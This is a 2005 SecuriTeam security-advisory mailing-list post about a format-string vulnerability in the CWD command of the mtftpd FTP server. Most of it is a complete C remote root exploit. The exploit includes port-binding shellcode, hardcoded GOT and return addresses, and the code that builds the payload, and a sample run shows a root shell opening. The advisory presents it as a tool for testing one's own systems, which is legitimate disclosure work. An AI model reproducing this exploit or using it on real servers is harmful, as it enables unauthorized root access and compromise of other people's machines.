

[EXPL] mtFTPD Server Format String (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0158.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/31/05

To: list@securiteam.com

Date: 31 Mar 2005 11:48:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

mtFTPD Server Format String (Exploit)

SUMMARY

<<http://mtftpd.sourceforge.net/>> mtftpd is "an FTP server, based in a multiple process/thread model". A vulnerability in mtFTPD's CWD command allows remote attackers to cause a format string vulnerability in the program and cause the execution of arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

/*

\ mtftpd <= 0.0.3 remote root exploit

/ by darkeagle

\

/ discovered by darkeagle – xx.10.04

\

/ (c) un10ck research team [<http://un10ck.org>]

\

/ greetz: un10ckerZ, rosielloZ, nosystemZ, etc..

\

/ [darkeagle@localhost darkeagle]\$./0x666-ftp -a 127.0.0.1 -p beautifulgirlz -u darkeagle

Securiteam: [EXPL] mtFTPD Server Format String (Exploit)

mtftpd <= 0.0.3 remote root exploit
by darkeagle [<http://unl0ck.org>]

```
[^] GOT: 0x804fcb0
[^] Retaddr: 0xbffff8d8
[^] Username: darkeagle
[^] Password: beautifulgirlz
[^] IP: 127.0.0.1
[^] Port: 21
[^] Creating SOCKET structure...
[+] Structure Done!
[^] Connecting... OK!
[+] Sending LOGIN DATA
[+] Successfully logged!
[^] Creating EviL Data... OK!
[^] Sending... OK!
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^'.
id; uname -a;
uid=0(root) gid=0(root) groups=0(root)
Linux localhost 2.6.3-7mdk #1 Wed Mar 17 15:56:42 CET 2004 i686 unknown
unknown GNU/Linux
: command not found
```

```
\
/
\ *-----*
/ mailto: darkeagle [at] linkin-park [dot] cc
\ darkeagle [at] unl0ck [dot] org
/ *-----*
\
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
```

```
#define PORT 21
#define doit( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
```

Securiteam: [EXPL] mtFTPD Server Format String (Exploit)

```
b3 = (addr) & 0xff; \
}

#define GOT_ADDR 0x0804fcb0
#define RETADDR 0xbffff8d8

char shellcode[] = //binds 2003 port
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int usage ( char *proga )
{
printf("\n\nmtftpd <= 0.0.3 remote root exploit\n");
printf("by darkeagle\n");
printf("\nusage: %s <options>\n\nOptions:\n-a <ip_address>\n-p <password>\n-u <username>\n-g <gotaddr>\n-r <retaddr>\n\n", proga);
printf("EnJoY!\n\n");
exit(0);
}

char *
build_un( unsigned int retaddr, unsigned int offset, unsigned int base,
long figure )
{
char * buf;
unsigned int length = 128;
unsigned char b0, b1, b2, b3;
int start = 256;
doit( b0, b1, b2, b3, retaddr );

if ( !(buf = (char *)malloc(length * sizeof(char))) ) {
fprintf( stderr, "Can't allocate buffer (%d)\n", length );
exit( -1 );
}
memset( buf, 0, length );

b3 -= figure;
b2 -= figure;
b1 -= figure;
b0 -= figure;

sprintf( buf, length,
"%d%d%d\n%d\n%d\n%d\n%d\n%d\n",
b3 - (sizeof( size_t ) * 4) + start - base, offset,
b2 - b3 + start, offset + 1,
```

Securiteam: [EXPL] mtFTPD Server Format String (Exploit)

```
b1 - b2 + start, offset + 2,  
b0 - b1 + start, offset + 3 );  
  
return buf;  
}  
  
int  
main( int argc, char * argv[] )  
{  
char opt;  
char * fmt;  
char * endian;  
unsigned long locaddr, retaddr;  
unsigned int offset, base, align = 0;  
unsigned char b0, b1, b2, b3;  
int length, ch;  
char *username = NULL;  
char *password = NULL, *ip = NULL;  
char evil[3000];  
int f_got = 0;  
int f_retaddr = 0;  
char databuf[300];  
struct sockaddr_in final;  
int Socket;  
char exec[300];  
char recva[200];  
  
if ( argc < 6 ) { usage(argv[0]); }  
printf("\n\nmtftpd <= 0.0.3 remote root exploit\n");  
printf("by darkeagle [http://unl0ck.org]\n");  
while ((opt = getopt(argc, argv, "p:u:a:g:r:")) != EOF) {  
switch (opt) {  
case 'p':  
password = optarg;  
break;  
case 'a':  
ip = optarg;  
break;  
case 'g':  
f_got = strtoul(optarg, NULL, 0);  
break;  
case 'r':  
f_retaddr = strtoul(optarg, NULL, 0);  
break;  
case 'u':  
username = optarg;  
break;  
default:  
usage(argv[0]);  
break;  
}  
}
```

Securiteam: [EXPL] mtFTPD Server Format String (Exploit)

```
}

if ( f_got == 0 || f_retaddr == 0 )
{
f_got = GOT_ADDR;
f_retaddr = RETADDR;
}

printf("\n [^] GOT: 0x%x\n [^] Retaddr: 0x%x\n [^] Username: %s\n [^]
Password:
%s\n [^] IP: %s\n [^] Port: %d\n", f_got, f_retaddr, username, password,
ip, 21);

printf(" [^] Creating SOCKET structure...\n");

final.sin_family = AF_INET;
final.sin_port = htons(PORT);
final.sin_addr.s_addr = inet_addr(ip);

Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

printf(" [+] Structure Done!\n");

printf(" [^] Connecting...\t");

if ( connect(Socket, (struct sockaddr*)&final, sizeof(final)) == -1 ) {
printf("FAILED!\n"); exit(0); }

printf("OK!\n");

printf(" [+] Sending LOGIN DATA\n");

snprintf(databuf, 300, "USER %s\r\n\r\nPASS %s\r\n\r\n", username,
password);

send(Socket, databuf, strlen(databuf), 0);
recv(Socket, recva, sizeof(recva), 0);

if ( strstr(recva, "230" ) ) { printf(" [+] Successfully logged!\n"); }
else {
printf(" [-] Invalid login or password!\n\n");
exit(0); }

printf(" [^] Creating EviL Data...\t");
length = ( sizeof( size_t ) * 16 ) + 1;

if ( !(endian = (char *)malloc(length * sizeof(char))) ) {
fprintf( stderr, "Can't allocate buffer (%d)\n", length );
exit( -1 );
}
memset( endian, 0, length );
```

Securiteam: [EXPL] mtFTPD Server Format String (Exploit)

```
ch = 0;
locaddr = f_got; // syslog GOT
retaddr = f_retaddr; // return address to shellcode
offset = 12; // offset to 0x2e414141 - CWD AAAA%12$x
base = 4;
//locaddr += 0x4;

doit( b0, b1, b2, b3, locaddr );

if ( base%4 ) {
align = 4 - ( base%4 );
base += align;
}

strcat(endian, "U");

sprintf( endian+strlen(endian), length,
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

fmt = build_un( retaddr, offset, base, 0xF + 0x1 );

memset(fmt+strlen(fmt), 0x42, 48);
strcat(fmt, shellcode);
sprintf(evil, "CWD %s\r\n\r\n", fmt);

if ( strlen(evil) >= 256 ) { printf("FAILED!\n"); exit(0); }

printf("OK!\n");
printf(" [ ] Sending...\t");
send(Socket, evil, strlen(evil), 0);
printf("OK!\n");
sprintf(exec, "telnet %s 2003\n", ip);
printf(" [+] Connecting to shell...\t");
sleep(2);
system(exec);
printf("FAILED!\n\n");
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:darkeagle@unl0ck.org>>
darkeagle.

The original article can be found at:

[EXPL] mtFTPD Server Format String (Exploit)

Securiteam: [EXPL] mtFTPd Server Format String (Exploit)

<<http://unl0ck.org/files/papers/mtftpd.txt>>

<http://unl0ck.org/files/papers/mtftpd.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.